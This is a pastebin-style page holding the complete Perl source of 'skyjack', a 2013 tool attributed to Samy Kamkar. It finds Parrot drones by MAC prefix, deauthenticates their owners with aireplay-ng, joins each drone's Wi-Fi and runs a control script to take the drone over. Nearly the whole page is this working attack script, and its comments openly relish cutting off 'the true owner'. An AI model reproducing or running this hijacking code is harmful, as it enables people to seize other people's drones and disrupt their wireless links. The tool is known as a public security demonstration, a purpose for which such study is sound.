sky jack master


SUBMITTED BY: Guest

DATE: Jan. 12, 2014, 7:04 p.m.

FORMAT: Perl

SIZE: 4.3 kB

HITS: 1303

  1. #!/usr/bin/perl
  2. # skyjack, by samy kamkar
  3. # this software detects flying drones, deauthenticates the
  4. # owner of the targetted drone, then takes control of the drone
  5. # by samy kamkar, code@samy.pl
  6. # http://samy.pl
  7. # dec 2, 2013
  8. # mac addresses of ANY type of drone we want to attack
  9. # Parrot owns the 90:03:B7 block of MACs and a few others
  10. # see here: http://standards.ieee.org/develop/regauth/oui/oui.txt
  11. my @drone_macs = qw/90:03:B7 A0:14:3D 00:12:1C 00:26:7E/;
  12. use strict;
  13. my $interface = shift || "wlan1";
  14. my $interface2 = shift || "wlan0";
  15. # the JS to control our drone
  16. my $controljs = shift || "drone_control/drone_pwn.js";
  17. # paths to applications
  18. my $dhclient = "dhclient";
  19. my $iwconfig = "iwconfig";
  20. my $ifconfig = "ifconfig";
  21. my $airmon = "airmon-ng";
  22. my $aireplay = "aireplay-ng";
  23. my $aircrack = "aircrack-ng";
  24. my $airodump = "airodump-ng";
  25. my $nodejs = "nodejs";
  26. # put device into monitor mode
  27. sudo($ifconfig, $interface, "down");
  28. #sudo($airmon, "start", $interface);
  29. # tmpfile for ap output
  30. my $tmpfile = "/tmp/dronestrike";
  31. my %skyjacked;
  32. while (1)
  33. {
  34. # show user APs
  35. eval {
  36. local $SIG{INT} = sub { die };
  37. my $pid = open(DUMP, "|sudo $airodump --output-format csv -w $tmpfile $interface >>/dev/null 2>>/dev/null") || die "Can't run airodump ($airodump): $!";
  38. print "pid $pid\n";
  39. # wait 5 seconds then kill
  40. sleep 2;
  41. print DUMP "\cC";
  42. sleep 1;
  43. sudo("kill", $pid);
  44. sleep 1;
  45. sudo("kill", "-HUP", $pid);
  46. sleep 1;
  47. sudo("kill", "-9", $pid);
  48. sleep 1;
  49. sudo("killall", "-9", $aireplay, $airodump);
  50. #kill(9, $pid);
  51. close(DUMP);
  52. };
  53. sleep 4;
  54. # read in APs
  55. my %clients;
  56. my %chans;
  57. foreach my $tmpfile1 (glob("$tmpfile*.csv"))
  58. {
  59. open(APS, "<$tmpfile1") || print "Can't read tmp file $tmpfile1: $!";
  60. while (<APS>)
  61. {
  62. # strip weird chars
  63. s/[\0\r]//g;
  64. foreach my $dev (@drone_macs)
  65. {
  66. # determine the channel
  67. if (/^($dev:[\w:]+),\s+\S+\s+\S+\s+\S+\s+\S+\s+(\d+),.*(ardrone\S+),/)
  68. {
  69. print "CHANNEL $1 $2 $3\n";
  70. $chans{$1} = [$2, $3];
  71. }
  72. # grab our drone MAC and owner MAC
  73. if (/^([\w:]+).*\s($dev:[\w:]+),/)
  74. {
  75. print "CLIENT $1 $2\n";
  76. $clients{$1} = $2;
  77. }
  78. }
  79. }
  80. close(APS);
  81. sudo("rm", $tmpfile1);
  82. #unlink($tmpfile1);
  83. }
  84. print "\n\n";
  85. foreach my $cli (keys %clients)
  86. {
  87. print "Found client ($cli) connected to $chans{$clients{$cli}}[1] ($clients{$cli}, channel $chans{$clients{$cli}}[0])\n";
  88. # hop onto the channel of the ap
  89. print "Jumping onto drone's channel $chans{$clients{$cli}}[0]\n\n";
  90. #sudo($airmon, "start", $interface, $chans{$clients{$cli}}[0]);
  91. sudo($iwconfig, $interface, "channel", $chans{$clients{$cli}}[0]);
  92. sleep(1);
  93. # now, disconnect the TRUE owner of the drone.
  94. # sucker.
  95. print "Disconnecting the true owner of the drone ;)\n\n";
  96. sudo($aireplay, "-0", "3", "-a", $clients{$cli}, "-c", $cli, $interface);
  97. }
  98. sleep(2);
  99. # go into managed mode
  100. #sudo($airmon, "stop", $interface);
  101. # connect to each drone and run our zombie client!
  102. foreach my $drone (keys %chans)
  103. {
  104. # ignore drones we've skyjacked before -- thanks to @daviottenheimer for bug discovery!
  105. next if $skyjacked{$chans{$drone}[1]}++;
  106. print "\n\nConnecting to drone $chans{$drone}[1] ($drone)\n";
  107. sudo($iwconfig, $interface2, "essid", $chans{$drone}[1]);
  108. print "Acquiring IP from drone for hostile takeover\n";
  109. sudo($dhclient, "-v", $interface2);
  110. print "\n\nTAKING OVER DRONE\n";
  111. sudo($nodejs, $controljs);
  112. }
  113. sleep 5;
  114. }
  115. sub sudo
  116. {
  117. print "Running: @_\n";
  118. system("sudo", @_);
  119. }

comments powered by Disqus